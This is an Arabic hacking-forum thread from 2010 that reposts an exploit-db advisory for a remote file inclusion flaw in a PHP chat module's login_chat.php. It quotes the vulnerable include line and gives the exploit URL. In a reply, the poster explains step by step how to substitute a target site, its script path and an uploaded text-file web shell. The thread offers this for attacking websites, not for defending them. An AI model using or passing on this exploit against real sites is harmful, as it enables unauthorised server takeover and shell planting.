ثغرة جديده من هكر عرعر

ViRuS Qalaa · 07-21-2010, 06:45 AM

كود PHP:

  *# Exploit Title:   php_chat Remote File inclusion Vulnerability  

 
# Date: 2010/07/20  

 
# Author: HaCkEr arar  

 
# Email: [email]y.0@hotmail.de[/email]  

 
# My Sites : [url]www.vbspiders.com[/url]  

 
# Script home:  

 
[url]http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html[/url]  

 
# Tested on: Windows  

 
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM  

 
# ViRuS Qalaa: [email]em9@live.com[/email]  

 
:::::::::::::::::::::::::  

 
=================Exploit=================  

 
   

 
-=[ vuln c0de ]=-  

 
include('db/'.$select_db.'.php');  

 
login_chat.php  

 
Line:41  

 
   

 
----exploit----  

 
   

 
http://{localhost}/{path}login_chat.php?select_db=shell.txt?  

 
   

 
---------greatz----------  

 
Greatz to :  

 
ViRuS Qalaa,VoLc4n0,Members [url]www.j1q1.com[/url]  

 
   

 
and My friends Others and My friends in MSN  

 
EnJoY o_O* 

_____________________________________________________

http://www.exploit-db.com/exploits/14425/

المصدر: :: vBspiders Professional Network ::

eyvm []d]i lk i;v uvuv

BayBi HaCk · 07-21-2010, 10:50 AM

[motr][motr1]بارك الله فيك يا اخ فايروس يشرفني ان اكون اول من يرد عليك[/motr1][/motr]

z3r0 b0mb3r · 07-21-2010, 10:58 AM

شكرا وبارك الله فيك

hassn1402 · 07-21-2010, 12:07 PM

كيف الاستغلال

Q2-FOX2R · 07-21-2010, 12:28 PM

مشكووورين حبيبي

بس اعتقد النوع ده من الثغرات قريب ينقرض ههههههه

بسبب الاصدار الجديد للملقم بي آتش بي

yatta · 07-21-2010, 04:52 PM

اذا ممكن .. كيف طريقة الاستغلال

ViRuS Qalaa · 07-21-2010, 05:10 PM

[align=center]اخي طريقة الاستغلال كذا
----

كود PHP:

http://{localhost}/{path}/login_chat.php?select_db=shell.txt?

اولا رابط الموقع نضعة بدل {localhost}
ثانيا المجلد لي فية السكريب نضعة بدل {path} واذا كان السكريب قي الواجة نمسح هذة
ثالثا الملف والدالة هذة

كود PHP:

/login_chat.php?select_db=

رابعا نضع بدل shell.txt شل مرفوع بصيغة txt
خامسا نضع في الاخر علامة استفهام
وتحياتي لكم [/align]

hack!n9 · 07-22-2010, 05:40 PM

مشكور يا غالي عل تغرة بس ماهو دورك

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
الحققققق ثغرة جديده بمنتديات vb	حربي هكر	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	4	04-10-2011 02:14 PM
ثغرة ميتا جديدة لإختراق ويندوز فيستا + شرح استغلالها , تحميل الميتا الجديد ! 500 ثغرة :]	Hαcĸer'ѕ Kιɴɢ	قســم إختــراق الأجهــزة	4	11-27-2010 04:01 AM
رسالة خطا جديده!!!!!!	SaQr	جـــ'ابات العناكــ'ب	12	04-09-2010 12:51 AM
[ خبـر ] : ثغرة جديده في هاك vBulletin Radio and TV Player	xman2	قســم تطويــر المــــواقع	0	06-24-2009 04:30 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

ثغرة جديده من هكر عرعر

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات